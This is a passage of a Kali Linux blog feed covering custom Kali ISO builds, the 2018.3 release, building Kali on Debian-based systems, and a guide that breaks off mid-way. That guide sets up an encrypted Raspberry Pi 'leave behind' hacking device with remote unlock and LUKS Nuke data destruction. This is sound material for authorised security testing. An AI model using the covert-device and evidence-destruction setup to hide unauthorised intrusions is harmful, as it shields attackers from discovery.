&lt;p>Time will tell if WireGuard replaces OpenVPN as the VPN of choice, or if the latest buzz is just excitement of using the newest toys. In any case, it&amp;rsquo;s nice to have the ability to test it out, and use if it&amp;rsquo;s a good fit. As we have seen here, it&amp;rsquo;s definitely easy to setup, and relatively versatile in the user cases.&lt;/p></description></item><item><title>My Custom Kali Linux Distribution</title><link>https://www.kali.org/blog/my-custom-kali-linux-distribution/</link><guid isPermaLink="true">https://www.kali.org/blog/my-custom-kali-linux-distribution/</guid><pubDate>Wed, 05 Sep 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/my-custom-kali-linux-distribution/images/my-custom-kali-live-build.jpg" type="image/jpg"/><description>&lt;p>We love it when community members come up with new ideas or interesting builds, and this one caught our attention. Jacek Kowalczyk hit us up on twitter with a really interesting story. His approach to tweaking Kali to be specific to his needs is exactly why this feature is so important to us and we wanted to share his story more widely.&lt;/p>
&lt;p>Jacek&amp;rsquo;s live-build recipe was for a lightweight version of Kali using his favourite desktop environments, including some nice desktop configurations. We thought it would be best to let Jacek share his process with you step by step, in his own words:&lt;/p>
&lt;hr>
&lt;h2 id="jaceks-story">Jacek&amp;rsquo;s Story&lt;/h2>
&lt;p>I spent a lot of time on searching for a Linux distribution that was best suited for my needs. I wanted a very lightweight system and went about testing a ton of variants (Manjaro, Debian, Ubuntu, Sparky, MX Linux, Antix, Arch, Anarchy, Antergos, Archlabs, Bunsen Labs, and many more). I also tested different desktop environments trying to find my right fit (Xfce, LXDE, Mate, LXqt, i3, openbox, fluxbox, jwm, and IceWM). Despite this exhaustive testing, I still wasn&amp;rsquo;t satisfied.&lt;/p>
&lt;p>It started to become clear that for my needs, I needed a rolling release Linux that was not only lightweight, but also had good support from either a company or community. I made a long list of my favourite Linux distributions, but I still couldn&amp;rsquo;t decide.&lt;/p>
&lt;p>I had always wanted to take part in an Open-source project and do a little development. It occurred to me that my solution could be to simply create my own setup&amp;ndash;I could take a Linux distro, install a base OS, and customize it. At first, this seemed like a great option. But what would happen if I needed to reinstall? I didn&amp;rsquo;t want to have to start over again on customizing my installed system.&lt;/p>
&lt;p>I knew I wanted to create an ISO that I could use to install my system anytime, anywhere. It would be perfectly customized for my needs fresh out of install. Because of this, I started to look for ways of customizing Debian, Arch, or Manjaro. This led me to the Kali Linux live-build config scripts. At this point, I knew I had found my solution.&lt;/p>
&lt;p>Kali Linux is a rolling distro based on Debian and has great support from the OffSec team as well as an active community. I also found existing scripts for i3wm provided by the Kali team. This was my starting point. I started playing with the custom packages list and later on with some chroot files to be included in the ISO. In this process, I generated over 20 ISO images until I had one I was happy with. Even now, I am still continuing to improve on it.&lt;/p>
&lt;p>Let me explain how I created two variants of Kali Linux&amp;ndash;one with i3wm and one with Openbox window manager.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/my-custom-kali-linux-distribution/images/screenshots_2018-09-04-170842_scrot.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/my-custom-kali-linux-distribution/images/screenshots_2018-09-04-170842_scrot.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="custom-kali-linux-with-i3wm-or-openbox">Custom Kali Linux with i3wm or Openbox&lt;/h3>
&lt;p>I did my first setup based on the official Kali documentation for &lt;a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">live-build-config&lt;/a>. This process was:&lt;/p>
&lt;ol>
&lt;li>Install Kali Linux. Use any official Kali image.&lt;/li>
&lt;li>Install additional packages.&lt;/li>
&lt;li>Start hacking i3wm/Openbox variants. I treated these as two separate builds initially, to keep things cleaner for myself. I was doing double the work, but it was easier to track:&lt;/li>
&lt;/ol>
&lt;pre>&lt;code class="language-console">root@kali:~# apt install curl git live-build cdebootstrap
root@kali:~# git clone git://gitlab.com/kalilinux/build-scripts/live-build-config.git
...
root@kali:~# cd live-build-config/kali-config
root@kali:~/live-build-config/kali-config# ls
common variant-e17 variant-i3wm variant-light variant-mate
variant-default variant-gnome variant-kde variant-lxde variant-xfce
&lt;/code>&lt;/pre>
&lt;p>For i3, I started with making my modifications in the existing &lt;strong>&lt;em>variant-i3wm&lt;/em>&lt;/strong> folder. For Openbox, I copied the &lt;strong>&lt;em>variant-i3wm&lt;/em>&lt;/strong> directory to &lt;strong>&lt;em>variant-openbox&lt;/em>&lt;/strong> and added my modifications to it:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~/live-build-config/kali-config# cp -r variant-i3wm variant-openbox
&lt;/code>&lt;/pre>
&lt;p>With that in place, the next step was to edit the file &lt;strong>&lt;em>kali-config//package-lists/kali.list.chroot&lt;/em>&lt;/strong> to add the required packages I wanted. My list of packages for i3wm can be found &lt;a href="https://gitlab.com/jacekkowalczyk82/my-debian/variant-i3wm/package-lists/kali.list.chroot">here&lt;/a>, and Openbox &lt;a href="https://gitlab.com/jacekkowalczyk82/my-debian/package-lists/kali.list.chroot">here&lt;/a>. All config files for the livecd should be copied to &lt;strong>&lt;em>kali-config/common/includes.chroot/root/&lt;/em>&lt;/strong>. This directory is used as the livecd environment is running as the root user.&lt;/p>
&lt;p>All config files for the installed file system should be copied to &lt;strong>&lt;em>kali-config/common/includes.chroot/etc/skel/&lt;/em>&lt;/strong>. The &lt;strong>&lt;em>/etc/skel&lt;/em>&lt;/strong> directory is commonly used as a template for creating user home directories, so every new user will by default have the files that are located in this directory.&lt;/p>
&lt;p>Nitrogen is an application used to setup wallpaper. The file &lt;strong>&lt;em>.config/nitrogen/bg-saved.cfg&lt;/em>&lt;/strong> defines the set wallpaper. The second file &lt;strong>&lt;em>.config/nitrogen/nitrogen.cfg&lt;/em>&lt;/strong> is the main configuration file for nitrogen and defines the directories where the wallpaper images are located. I tweaked each of these out to fit my preferences. With that in place, I then also tweaked the power manager applet by configuring &lt;strong>&lt;em>.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-power-manager.xml&lt;/em>&lt;/strong>.&lt;/p>
&lt;p>Additionally, I made a range of other customizations to personalize the system a bit more. Without going into too much detail, they were:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>For i3wm&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>&lt;em>kali-config/common/includes.chroot/root/.i3wm_conkyrc&lt;/em>&lt;/strong> - Configuration for conky tool. This conkyrc file is based on the conky configuration from &lt;a href="https://sparkylinux.org/">Sparky Linux&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>&lt;em>kali-config/common/includes.chroot/root/.config/i3/config&lt;/em>&lt;/strong> - The configuration file for i3wm was generated for me on the fist login to i3wm session, and I added a few changes to autostart other tools like: nitrogen, clipit, volume control, and defined my key bindings for my tools and actions (poweroff and reboot).&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>For Openbox&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>&lt;em>kali-config/common/includes.chroot/root/.openbox_conkyrc&lt;/em>&lt;/strong> - configuration for conky. The openbox conkyrc is a different from the one for i3wm. This one is based on the conkyrc file from &lt;a href="https://crunchbangplusplus.org/">CrunchBang++&lt;/a>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>&lt;em>kali-config/common/includes.chroot/root/.config/openbox/autostart&lt;/em>&lt;/strong> - Openbox autostart file defines which tools and applications should be started automatically with openbox session: (nitrogen, clipit, volume vontrol, power manager, conky). I based it on the file from CrunchBang++ also.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>&lt;em>kali-config/common/includes.chroot/root/.config/openbox/menu.xml&lt;/em>&lt;/strong> - This is the Openbox menu config, controlling what happens when you right-click on the desktop. Openbox is really unique in that this file is completely user controlled and you can run scripts in it and do other things like starting applications or even to view the status the media player application in dynamic pipe menu. Openbox is really powerful.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>&lt;em>kali-config/common/includes.chroot/root/.config/openbox/rc.xml&lt;/em>&lt;/strong> - Openbox window manager themes and keybindings. This is pretty stock, but I added there my keybindings for my favourite tools and actions like poweroff and reboot.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>&lt;em>kali-config/common/includes.chroot/root/.config/tint2/tint2rc&lt;/em>&lt;/strong> - Tint2 panel settings and launchers. Here, I added my most commonly used tools: terminal, editors, web browsers. To edit this file I used tint2conf gui application. This application allows to easily define the themes of the tint2 panel and add launchers and other items of the panel.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>All the changes for i3wm can be found &lt;a href="https://gitlab.com/jacekkowalczyk82/my-debian/i3/etc/skel/">here&lt;/a> and Openbox can be found &lt;a href="https://gitlab.com/jacekkowalczyk82/my-debian/openbox/etc/skel/">here&lt;/a>.&lt;/p>
&lt;p>I also added the Firefox developer edition browser by downloading the install package and unpacking it into &lt;strong>&lt;em>kali-config/common/includes.chroot/opt/firefox/&lt;/em>&lt;/strong> and then added the toxic tox client to &lt;strong>&lt;em>kali-config/common/includes.chroot/opt/toxic&lt;/em>&lt;/strong>. To start up Firefox, I added also the shell script &lt;strong>&lt;em>kali-config/common/includes.chroot/usr/bin/firefox.sh&lt;/em>&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/bash
echo &amp;quot;Starting firefox developer edition&amp;quot;
/opt/firefox/firefox
&lt;/code>&lt;/pre>
&lt;ol>
&lt;li>Build the ISOs&lt;/li>
&lt;/ol>
&lt;p>With all that configuration out of the way, it was time for the fun part, building the ISOs!&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~/live-build-config/kali-config# ./build.sh --distribution kali-rolling --variant i3wm --verbose
root@kali:~/live-build-config/kali-config# ./build.sh --distribution kali-rolling --variant openbox --verbose
&lt;/code>&lt;/pre>
&lt;p>With those running, I then just had to wait for the job to finish. In my case it took about 3 hours. The ISO files it generated were saved in the &lt;strong>&lt;em>images&lt;/em>&lt;/strong> subfolder.&lt;/p>
&lt;h3 id="final-version">Final Version&lt;/h3>
&lt;p>In the final version of the configs, I decided to port my i3wm install to my Openbox build. This way, when building the Openbox config, I am getting both window managers, Openbox and i3. On the login screen, I can select the session I want. Obviously, its much easier to have one &amp;ldquo;perfect&amp;rdquo; ISO than have to decide between the two at install time.&lt;/p>
&lt;hr>
&lt;h2 id="wrapping-up">Wrapping up&lt;/h2>
&lt;p>We loved Jacek&amp;rsquo;s approach of identifying his needs, and then not being afraid of just jumping in and making the changes. Like many things on Linux, doing a custom install can be intimidating and look like a very complex process. But once you get in and start the process, it&amp;rsquo;s really pretty straightforward and the amount of work it can save you is amazing.&lt;/p>
&lt;p>Thanks to Jacek for all his hard work, and being willing to share it with the community. You can see what else Jacek is up to at his page at &lt;a href="https://gitlab.com/jacekkowalczyk82">his GitLab page&lt;/a>.&lt;/p></description></item><item><title>Kali Linux 2018.3 Release</title><link>https://www.kali.org/blog/kali-linux-2018-3-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2018-3-release/</guid><pubDate>Tue, 21 Aug 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2018-3-release/images/kali-release.jpg" type="image/jpg"/><description>&lt;p>Another edition of Hacker Summer Camp has come and gone. We had a great time meeting our users, new and old, particularly at our Black Hat and DEF CON Dojos, which were led by our great friend &lt;a href="https://twitter.com/ihackstuff">@ihackstuff&lt;/a> and the rest of the &lt;a href="https://www.offsec.com/">OffSec&lt;/a> crew. Now that everyone is back home, it&amp;rsquo;s time for our third Kali release of 2018, which is available for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a>.&lt;/p>
&lt;p>Kali 2018.3 brings the kernel up to version 4.17.0 and while 4.17.0 did not introduce many changes, 4.16.0 had a huge number of additions and improvements including more Spectre and Meltdown fixes, improved power management, and better GPU support.&lt;/p>
&lt;h3 id="new-tools-and-tool-upgrades">New Tools and Tool Upgrades&lt;/h3>
&lt;p>Since our last release, we have added a number of new tools to the repositories, including:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://pkg.kali.org/pkg/idb">idb&lt;/a>&lt;/strong> - An iOS research / penetration testing tool&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://pkg.kali.org/pkg/gdb-peda">gdb-peda&lt;/a>&lt;/strong> - Python Exploit Development Assistance for GDB&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://pkg.kali.org/pkg/datasploit">datasploit&lt;/a>&lt;/strong> - OSINT Framework to perform various recon techniques&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://pkg.kali.org/pkg/kerberoast">kerberoast&lt;/a>&lt;/strong> - Kerberos assessment tools&lt;/li>
&lt;/ul>
&lt;p>In addition to these new packages, we have also upgraded a number of tools in our repos including &lt;a href="https://www.kali.org/tools/aircrack-ng/">aircrack-ng&lt;/a>, &lt;a href="https://www.kali.org/tools/burpsuite/">burpsuite&lt;/a>, &lt;a href="https://www.kali.org/tools/gvm/">openvas&lt;/a>, &lt;a href="https://www.kali.org/tools/wifite/">wifite&lt;/a>, and &lt;a href="https://www.kali.org/tools/wpscan/">wpscan&lt;/a>. For the complete list of updates, fixes, and additions, please refer to the &lt;a href="https://bugs.kali.org/changelog_page.php">Kali Bug Tracker Changelog&lt;/a>.&lt;/p>
&lt;h3 id="download-kali-linux-20183">Download Kali Linux 2018.3&lt;/h3>
&lt;p>If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the &lt;a href="https://www.kali.org/get-kali/">Kali Downloads&lt;/a> page along with links to the OffSec virtual machine and ARM images, which have also been updated to 2018.3. If you already have a Kali installation you&amp;rsquo;re happy with, you can easily upgrade in place as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y full-upgrade
&lt;/code>&lt;/pre>
&lt;h4 id="making-sure-you-are-up-to-date">Making sure you are up-to-date&lt;/h4>
&lt;p>To double check your version, first make sure your Kali &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">package repositories&lt;/a> are correct:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
&lt;/code>&lt;/pre>
&lt;p>Then after running &lt;strong>apt -y full-upgrade&lt;/strong>, you may require a &lt;strong>reboot&lt;/strong> before checking:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# grep VERSION /etc/os-release
VERSION=&amp;quot;2018.3&amp;quot;
VERSION_ID=&amp;quot;2018.3&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>If you come across any bugs in Kali, please open a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. It&amp;rsquo;s more than a little challenging to fix what we don&amp;rsquo;t know about.&lt;/p></description></item><item><title>Build Kali with Live-Build on Debian Based Systems</title><link>https://www.kali.org/blog/build-kali-with-live-build-on-debian-based-systems/</link><guid isPermaLink="true">https://www.kali.org/blog/build-kali-with-live-build-on-debian-based-systems/</guid><pubDate>Wed, 18 Jul 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/build-kali-with-live-build-on-debian-based-systems/images/kali-livebuild-debian-1.jpg" type="image/jpg"/><description>&lt;p>We use live-build to create our official Kali releases and we encourage users to jump in and build their own customized versions of Kali whenever we can. Our &lt;a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">documentation of the process&lt;/a> is one of the most popular items on our &lt;a href="https://www.kali.org/docs/">documentation site&lt;/a>, and the Kali Dojo also revolves around this topic. We love it and our users love it.&lt;/p>
&lt;p>One roadblock of live-build has always been the fact that you need a Kali system to build a Kali system. The reason for this is that small changes in both the original debootstrap and live-build packages are needed for building a Kali ISO. In Kali, these changes are already included, however in most &lt;a href="https://wiki.debian.org/Derivatives/">Debian derivatives&lt;/a>, some gentle massaging is needed to get our ISOs to build.&lt;/p>
&lt;p>Today, we have updated our docs site to include instructions on how to &lt;a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">build a custom Kali ISO&lt;/a> on other Debian based systems such as Debian 9 (Stretch/) and Ubuntu 16.04 and 18.04. This will hopefully allow users running Debian derivatives to test the waters with Kali and play with one of its cooler features.&lt;/p>
&lt;p>Building a custom Kali release with live-build is not as scary as it might sound so be sure to give it a chance!&lt;/p>
&lt;h2 id="building-kali-on-non-kali-debian-based-systems">Building Kali on Non-Kali Debian Based Systems&lt;/h2>
&lt;p>You can easily run live-build on Debian based systems other than Kali. The instructions below have been tested to work with both Debian and Ubuntu.&lt;/p>
&lt;p>First, we prep the system by ensuring it is fully updated, then proceed to download the Kali archive keyring and live-build packages. The latest versions of these packages can always be found at &lt;a href="http://http.kali.org/pool/main/k/kali-archive-keyring/">http.kali.org/pool/main/k/kali-archive-keyring/&lt;/a> and &lt;a href="https://archive.kali.org/kali/pool/main/l/live-build/">archive.kali.org/kali/pool/main/l/live-build/&lt;/a> respectively:&lt;/p>
&lt;pre>&lt;code class="language-sh">sudo apt update
sudo apt -y upgrade
wget https://http.kali.org/pool/main/k/kali-archive-keyring/kali-archive-keyring_2018.1_all.deb
wget https://archive.kali.org/kali/pool/main/l/live-build/live-build_20180618kali1_all.deb
&lt;/code>&lt;/pre>
&lt;p>With that completed, we install some additional dependencies and the previously downloaded files:&lt;/p>
&lt;pre>&lt;code class="language-sh">sudo apt -y install git live-build cdebootstrap debootstrap curl
sudo dpkg -i kali-archive-keyring_2018.1_all.deb
sudo dpkg -i live-build_20180618kali1_all.deb
&lt;/code>&lt;/pre>
&lt;p>With the environment all prepared, we start the live-build process by setting up the build script and checking out the build config:&lt;/p>
&lt;pre>&lt;code class="language-sh">cd /usr/share/debootstrap/scripts/
(echo &amp;quot;default_mirror http://http.kali.org/kali&amp;quot;; sed -e &amp;quot;s/debian-archive-keyring.gpg/kali-archive-keyring.gpg/g&amp;quot; sid) &amp;gt; kali
sudo ln -s kali kali-rolling
cd ~
git clone git://gitlab.com/kalilinux/build-scripts/live-build-config.git
cd live-build-config/
&lt;/code>&lt;/pre>
&lt;p>At this point, we have to edit the &lt;strong>&lt;em>build.sh&lt;/em>&lt;/strong> script to bypass a version check. We do this by commenting out the &amp;ldquo;exit 1&amp;rdquo; below:&lt;/p>
&lt;pre>&lt;code class="language-sh"># Check we have a good debootstrap
ver_debootstrap=$(dpkg-query -f '${Version}' -W debootstrap)
if dpkg --compare-versions &amp;quot;$ver_debootstrap&amp;quot; lt &amp;quot;1.0.97&amp;quot;; then
if ! echo &amp;quot;$ver_debootstrap&amp;quot; | grep -q kali; then
echo &amp;quot;ERROR: You need debootstrap &amp;gt;= 1.0.97 (or a Kali patched debootstrap). Your current version: $ver_debootstrap&amp;quot; &amp;gt;&amp;amp;2
exit 1
fi
fi
&lt;/code>&lt;/pre>
&lt;p>With that change made, the script should look as follows:&lt;/p>
&lt;pre>&lt;code class="language-sh"># Check we have a good debootstrap
ver_debootstrap=$(dpkg-query -f '${Version}' -W debootstrap)
if dpkg --compare-versions &amp;quot;$ver_debootstrap&amp;quot; lt &amp;quot;1.0.97&amp;quot;; then
if ! echo &amp;quot;$ver_debootstrap&amp;quot; | grep -q kali; then
echo &amp;quot;ERROR: You need debootstrap &amp;gt;= 1.0.97 (or a Kali patched debootstrap). Your current version: $ver_debootstrap&amp;quot; &amp;gt;&amp;amp;2
# exit 1
fi
fi
&lt;/code>&lt;/pre>
&lt;p>We can now build our ISO as normal:&lt;/p>
&lt;pre>&lt;code class="language-sh">sudo ./build.sh --variant light --verbose
&lt;/code>&lt;/pre>
&lt;h2 id="no-commitment-testing">No Commitment Testing&lt;/h2>
&lt;p>After you get Kali built, you might want to quickly test the ISO you created. There is a fast no commitment trial you can do with QEMU. On Ubuntu, you just have to prep the system by installing a few packages:&lt;/p>
&lt;pre>&lt;code class="language-sh">sudo apt -y install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils
sudo adduser $(id -un) kvm
newgrp kvm
&lt;/code>&lt;/pre>
&lt;p>With that out of the way, we will create a dynamic disk image to hold our Kali installation and then boot off our newly created ISO. Don&amp;rsquo;t worry about the disk size&amp;ndash;it will grow as needed so you won&amp;rsquo;t suddenly fill your drive just by creating the disk:&lt;/p>
&lt;pre>&lt;code class="language-sh">qemu-img create -f qcow2 kali-disk.img 100G
kvm --name Kali -m 1024 -hda kali-disk.img -cdrom kali-linux-light-rolling-amd64.iso -boot d
&lt;/code>&lt;/pre>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/build-kali-with-live-build-on-debian-based-systems/images/02-screen_shot_2018-07-14_at_10.53.36_am.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/build-kali-with-live-build-on-debian-based-systems/images/02-screen_shot_2018-07-14_at_10.53.36_am.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>At this point, you can run a live instance of Kali, or install it to the virtual disk. If we go ahead and install it, we would then later launch the newly created VM with the command:&lt;/p>
&lt;pre>&lt;code class="language-sh">kvm --name Kali -m 1024 -hda kali-disk.img -boot c
&lt;/code>&lt;/pre>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/build-kali-with-live-build-on-debian-based-systems/images/01-screen_shot_2018-07-14_at_11.05.07_am.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/build-kali-with-live-build-on-debian-based-systems/images/01-screen_shot_2018-07-14_at_11.05.07_am.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>There are few things as satisfying as running your own Linux install that you created and tweaked for what you need. With a way to build Kali on other Debian based distributions and a quick way to test it, why wait?&lt;/p></description></item><item><title>Secure Kali Pi 2018</title><link>https://www.kali.org/blog/secure-kali-pi-2018/</link><guid isPermaLink="true">https://www.kali.org/blog/secure-kali-pi-2018/</guid><pubDate>Tue, 10 Jul 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/secure-kali-pi-2018/images/secure-kali-pi-2018-1.jpg" type="image/jpg"/><description>&lt;p>We have covered how to create secure &amp;ldquo;throw-away hack boxes&amp;rdquo; using the Raspberry Pi &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-with-luks-full-disk-encryption/">before&lt;/a>, but we thought it was time to go back and take a look at the process again. With all the new Raspberry Pi models and Kali changes from when we last covered this, we found the old process was in need of some updating.&lt;/p>
&lt;p>As a review, what we are trying to accomplish is to create a standalone &amp;ldquo;leave behind&amp;rdquo; device that, when discovered, does not make it easy to figure out what you were doing. So we use the LUKS full disk encryption along with the LUKS Nuke capability to put this together. If you have a Raspberry Pi 3 Model B+, or really any other model or similar device, feel free to use the instructions below to set up your own secure system. This updated process is based on our previous documentation, and updated with some &lt;a href="https://github.com/tothi/kali-rpi-luks-crypt">community&lt;/a> &lt;a href="https://github.com/NicoHood/NicoHood.github.io/wiki/Raspberry-Pi-Encrypt-Root-Partition-Tutorial">suggestions&lt;/a>.&lt;/p>
&lt;h2 id="overview-of-the-process">Overview of the process&lt;/h2>
&lt;p>Before we dive into the tech of what we are going to try to accomplish, let&amp;rsquo;s take a quick look at our goals on setting up our Raspberry Pi 3 Model B+ (henceforth called &amp;ldquo;RPi&amp;rdquo;):&lt;/p>
&lt;ol>
&lt;li>Create a normal Kali Linux RPi installation&lt;/li>
&lt;li>Prepare the system for encrypted boot with remote disk unlock&lt;/li>
&lt;li>Create an initramfs configured with Dropbear and SSH keys to allow the unlock to occur&lt;/li>
&lt;li>Backup existing data&lt;/li>
&lt;li>Configure the encrypted partitions&lt;/li>
&lt;li>Restore our data&lt;/li>
&lt;li>Configure LUKS Nuke&lt;/li>
&lt;li>Hack away!&lt;/li>
&lt;/ol>
&lt;p>This might seem like a lot, but its really pretty straightforward and once completed, we will be left with a RPi that will boot, get an IP from DHCP, and Dropbear will allow us to connect via SSH to provide the LUKS key. This permits us to run the RPi headless, but still keeping our data secure. Then down the road when we are done with it, we can retrieve it or remote in and destroy our data with LUKS NUKE.&lt;/p>
&lt;h2 id="preparing-the-base-system">Preparing the Base system&lt;/h2>
&lt;p>To start with, we need to write out the RPi image to a SD card. We won&amp;rsquo;t get into that here, but you can find information on doing so &lt;a href="https://www.kali.org/docs/arm/raspberry-pi/">in our docs&lt;/a>.&lt;/p>
&lt;p>With that out of the way, we insert the SD card into the RPi and let it boot up. On first boot, it will resize the SD card and reboot, after that it&amp;rsquo;s ready for use. Next, we connect over SSH, update Kali, and install a few packages we will need:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt update
apt dist-upgrade
apt install cryptsetup lvm2 busybox dropbear
&lt;/code>&lt;/pre>
&lt;h2 id="doing-the-magic-fu">Doing the Magic-Fu&lt;/h2>
&lt;p>The RPi is all setup and ready to go so let&amp;rsquo;s get our hands dirty and dive into things. Take note, once we start this process, we are going to be changing a number of critical files on our RPi installation. It is important to not reboot the device or otherwise shut down the system until you are ready or you will be left with a system that won&amp;rsquo;t boot.&lt;/p>
&lt;p>First off, we need to append a line to &lt;strong>&lt;em>/boot/config.txt&lt;/em>&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-sh">echo initramfs initramfs.gz followkernel &amp;gt;&amp;gt; /boot/config.txt
&lt;/code>&lt;/pre>
&lt;p>Next, we want to validate where our actual root filesystem device is located:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /etc/fstab
# proc /proc proc defaults 0 0
/dev/mmcblk0p1 /boot vfat defaults 0 2
/dev/mmcblk0p2 / ext4 defaults,noatime 0 1
&lt;/code>&lt;/pre>
&lt;p>Take special note that our root filesystem lives at &lt;strong>&lt;em>/dev/mmcblk0p2&lt;/em>&lt;/strong>. This is what we will use for our examples going forward, so be sure to update the instructions with whatever value you received on your system.&lt;/p>
&lt;p>Now that we know our root filesystem location, we will edit the &lt;strong>&lt;em>/boot/cmdline.txt&lt;/em>&lt;/strong> . By default, it contains the following:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /boot/cmdline.txt
dwc_otg.fiq_fix_enable=2 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 rootwait rootflags=noload net.ifnames=0
&lt;/code>&lt;/pre>
&lt;p>Take note of the entry reading &lt;em>root=/dev/mmcblk0p2&lt;/em>. We are going to update it with a &lt;em>cryptdevice&lt;/em> value:&lt;/p>
&lt;pre>&lt;code class="language-sh">root=/dev/mapper/crypt cryptdevice=/dev/mmcblk0p2:crypt
&lt;/code>&lt;/pre>
&lt;p>With the change made, our file looks like this:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /boot/cmdline.txt
dwc_otg.fiq_fix_enable=2 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 root=/dev/mapper/crypt cryptdevice=/dev/mmcblk0p2:crypt rootfstype=ext4 rootwait rootflags=noload net.ifnames=0
&lt;/code>&lt;/pre>
&lt;p>We also need to edit &lt;strong>&lt;em>/etc/fstab&lt;/em>&lt;/strong> and replace the device where our root filesystem currently is to be &lt;strong>&lt;em>/dev/mapper/crypt&lt;/em>&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /etc/fstab
# proc /proc proc defaults 0 0
/dev/mmcblk0p1 /boot vfat defaults 0 2
/dev/mapper/crypt / ext4 defaults,noatime 0 1
#/dev/mmcblk0p2 / ext4 defaults,noatime 0 1
&lt;/code>&lt;/pre>
&lt;p>Next, we need to create a &lt;strong>&lt;em>/etc/crypttab&lt;/em>&lt;/strong> file containing the following:&lt;/p>
&lt;pre>&lt;code class="language-sh">crypt /dev/mmcblk0p2 none luks
&lt;/code>&lt;/pre>
&lt;p>Take special care here&amp;ndash;the separators between the entries &lt;em>have to be tabs&lt;/em>, not spaces. Now, before we start to create our initramsfs, we need to do a sly little hack to force cryptsetup to be included. To do this, we will create a fake LUKS filesystem. We &lt;strong>dd&lt;/strong> an empty file, format it as LUKS, mount it, and put a filesystem on it:&lt;/p>
&lt;pre>&lt;code class="language-sh">dd if=/dev/zero of=/tmp/fakeroot.img bs=1M count=20
cryptsetup luksFormat /tmp/fakeroot.img
cryptsetup luksOpen /tmp/fakeroot.img crypt
mkfs.ext4 /dev/mapper/crypt
&lt;/code>&lt;/pre>
&lt;p>Don&amp;rsquo;t worry too much about setting a strong password for this fakeroot as it is only used in this instance.&lt;/p>
&lt;h2 id="setting-up-ssh-and-initramfs">Setting up SSH and Initramfs&lt;/h2>
&lt;p>Now we are on the home stretch. This part is really cool, as normally when a system running LUKS starts up, the boot process pauses to allow you to unlock the HDD with your LUKS key. If you are running a headless system, that&amp;rsquo;s not especially convenient.&lt;/p>
&lt;p>To work around that, we are going to configure Dropbear to start up, allow you to authenticate with SSH, and then connect you to provide your LUKS password&amp;ndash;all from remote!&lt;/p>
&lt;p>We start out by creating a file at &lt;strong>&lt;em>/etc/dropbear-initramfs/authorized_keys&lt;/em>&lt;/strong> that contains:&lt;/p>
&lt;pre>&lt;code class="language-sh">command=&amp;quot;export PATH='/sbin:/bin/:/usr/sbin:/usr/bin'; /scripts/local-top/cryptroot &amp;amp;&amp;amp; kill -9 \`ps | grep -m 1 'cryptroot' | cut -d ' ' -f 3\` &amp;amp;&amp;amp; exit&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>Its important to note, this needs to be all on one line. No line breaks in there at all. If you have this set up right, it should look similar to this:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /etc/dropbear-initramfs/authorized_keys
